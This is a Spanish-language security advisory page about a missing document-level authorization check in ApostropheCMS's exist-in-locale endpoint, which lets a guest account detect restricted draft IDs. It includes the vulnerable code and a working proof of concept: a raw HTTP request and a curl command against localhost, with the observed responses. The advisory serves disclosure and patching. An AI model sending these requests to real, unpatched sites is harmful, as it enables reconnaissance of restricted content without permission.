Media

ApostropheCMS: Omisión de autorización a nivel de objeto en exist-in-locale revela identificadores de borradores restringidos

  • Publicada: 20.10.2026
  • Actualizado: 20.10.2026 21:31

Resumen

La API exist-in-locale de ApostropheCMS permite a un usuario autenticado con pocos privilegios determinar si existen documentos restringidos en una configuración regional (locale) y modo específicos, incluido el modo borrador (draft). El endpoint devuelve identificadores de documentos localizados sin aplicar los criterios de autorización de visualización o edición a nivel de documento.

El problema se reprodujo en una aplicación local real de ApostropheCMS ejecutando el código fuente analizado. La prueba utilizó una cuenta de invitado (guest) sintética y registros de borradores restringidos sintéticos.

Detalles

Ruta de código fuente vulnerable exacta: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Ruta exacta de la API: POST /api/v1/@apostrophecms/i18n/exist-in-locale El manejador verifica únicamente que el solicitante esté autenticado:

if (!req.user) {
  throw self.apos.error('notfound');
}

Luego realiza una búsqueda directa en la base de datos utilizando identificadores de documentos, locale y modo controlados por el atacante:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

Esta consulta no aplica:

  • .permission('view')
  • .permission('edit')
  • apos.permission.criteria(req, 'view')
  • autorización de documento a nivel de objeto
  • autorización específica por locale

El endpoint acepta múltiples IDs, lo que permite el sondeo masivo.

Prueba de concepto

La aplicación local se estaba ejecutando en: http://127.0.0.1:3000 La cuenta de prueba tenía el rol de bajos privilegios: guest La base de datos local contenía registros sintéticos para el ID base del documento restringido:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

Todas las credenciales y cookies están intencionalmente ocultadas a continuación.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Comando equivalente

bash
curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Respuesta observada

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

El ID que no existía se omitió de la respuesta. Esto demuestra que el endpoint funciona como un oráculo de existencia.

Control de autorización Utilizando la misma sesión de invitado autenticada y el identificador de documento localizado devuelto anteriormente, se consultó la API de páginas normal:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Respuesta observada:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

Esto demuestra claramente el límite de autorización:

Petición Resultado
API de página normal para el borrador restringido 403 Forbidden
exist-in-locale para el mismo borrador restringido 200 OK con ID de documento localizado
exist-in-locale para un ID inexistente 200 OK con arrays vacíos

Validación de impacto adicional

El comportamiento también se probó a través de múltiples combinaciones de locales y modos:

Consulta Resultado
locale=fr, mode=draft Devolvió wv2l4rbaplgzkg80zkne4aoz:fr:draft
locale=fr, mode=published Devolvió arrays vacíos porque no existía un elemento publicado
locale=de, mode=draft Devolvió arrays vacíos porque no existía un elemento en alemán
Dos IDs en una petición ID existente devuelto; ID inexistente omitido

Esto confirma que el endpoint se puede utilizar para descubrir si un documento tiene un borrador localizado en un locale en particular y para realizar enumeración masiva.

Impacto

Un usuario autenticado con bajos privilegios puede:

  • Sondear IDs base de documentos arbitrarios conocidos o adivinados.
  • Determinar si documentos restringidos tienen versiones localizadas.
  • Determinar si existen versiones preliminares no publicadas.
  • Identificar qué locales contienen registros coincidentes.
  • Obtener identificadores exactos de documentos localizados.
  • Enviar múltiples IDs en una sola solicitud para reconocimiento masivo.

El problema no revela directamente el contenido del documento ni otorga privilegios de escritura, publicación o eliminación. Durante las pruebas, no se modificó, publicó, eliminó ni expuso ningún contenido más allá de los metadatos de los identificadores.

Mitigación recomendada

Antes de ejecutar la consulta en la base de datos, aplique los mismos criterios de autorización a nivel de documento utilizados por la API regular de documentos. La consulta debe limitarse a los documentos que el solicitante esté autorizado a ver en el locale y modo solicitados. Las consultas de borradores deberían requerir además el permiso de visualización de borradores adecuado para el documento específico, no simplemente la autenticación o una verificación de roles global. El endpoint también debe evitar devolver identificadores de documentos localizados para registros que no cumplan con los criterios de permisos a nivel de documento del solicitante.

Qué hacer

Actualice a ApostropheCMS 4.33.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm apostrophe < 4.33.0 4.33.0

Referencias

Puntuación CVSS 4.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Debilidad (CWE)
CWE-862
Plataforma
npm
Paquete
apostrophe
Publicada
20.10.2026
Actualizado
20.10.2026 21:31

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-vmxh-77cw-65j7 - CC BY 4.0

Historial de vulnerabilidades: apostrophe

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (27) en el archivo
Entradas en total
27
Primera → última
09.2020 10.2026
Sin corrección
4
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 8
  • Media 13
  • Baja 4

Divulgaciones por año

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Gravedad:
  1. ApostropheCMS: Omisión de autorización a nivel de objeto en exist-in-locale revela identificadores de borradores restringidos esta entrada
    Media · 4.3 CVE-2026-113660 < 4.33.0 4.33.0
  2. Alta · 7.3 CVE-2026-45011 = 4.29.0 sin corrección
  3. Crítica · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.